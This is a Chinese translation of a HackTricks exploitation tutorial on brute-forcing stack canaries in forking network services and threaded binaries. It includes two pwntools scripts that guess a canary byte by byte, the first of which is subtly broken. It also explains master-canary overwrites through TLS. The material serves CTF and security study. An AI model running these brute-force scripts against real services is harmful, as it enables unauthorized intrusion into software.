# BF Forked & Threaded Stack Canaries

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**如果您面对一个由canary和PIE（位置无关可执行文件）保护的二进制文件，您可能需要找到一种绕过它们的方法。**

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-95ac857d8ae19be9bc96c5b5e1a5ef50998db3d3%2Fimage%20\(862\).png?alt=media)

{% hint style="info" %}
请注意，如果二进制文件是静态编译的且无法识别函数，\*\*`checksec`\*\*可能无法发现二进制文件受到canary保护。\
但是，您可以手动注意到这一点，如果您发现在函数调用开始时将一个值保存在堆栈中，并且在退出之前检查此值。
{% endhint %}

## Brute force Canary

绕过简单canary的最佳方法是，如果二进制文件是一个程序，**每次与其建立新连接时都会fork子进程**（网络服务），因为每次连接到它时**将使用相同的canary**。

因此，绕过canary的最佳方法就是**逐个字符地暴力破解它**，您可以通过检查程序是否崩溃或继续其正常流程来判断猜测的canary字节是否正确。在这个示例中，函数**暴力破解一个8字节的canary（x64）**，并区分正确猜测的字节和错误的字节，只需**检查**服务器是否发送了**响应**（在**其他情况**下，另一种方法可能是使用**try/except**）：

### 示例1

此示例是为64位实现的，但也可以轻松实现为32位。

```python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```

### 示例 2

这是为32位系统实现的，但很容易改为64位系统。\
还请注意，对于这个示例，**程序预期首先有一个字节来指示输入的大小**和有效载荷。

```python
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```

## 线程

同一进程的线程也会**共享相同的canary token**，因此如果二进制文件在每次攻击发生时生成一个新线程，就有可能**暴力破解canary**。

此外，如果一个受canary保护的线程函数发生**缓冲区溢出**，就可以用来**修改存储在TLS中的主canary**。这是因为可能可以通过线程的**栈中的缓冲区溢出**达到存储TLS（因此也是canary）的内存位置。结果，这种缓解措施是无效的，因为检查是使用两个相同的canary（尽管被修改）。这种攻击在以下解说中执行：<http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads>

还要查看<https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015>的演示，其中提到通常**TLS**由\*\*`mmap`**存储，当创建**线程**的**栈\*\*时，也是由`mmap`生成的，根据这一点，可能允许如前述解说中所示的溢出。

## 其他示例和参考资料

* <https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html>
* 64位，无PIE，nx，BF canary，在某些内存中写入ROP以调用`execve`并跳转到那里。
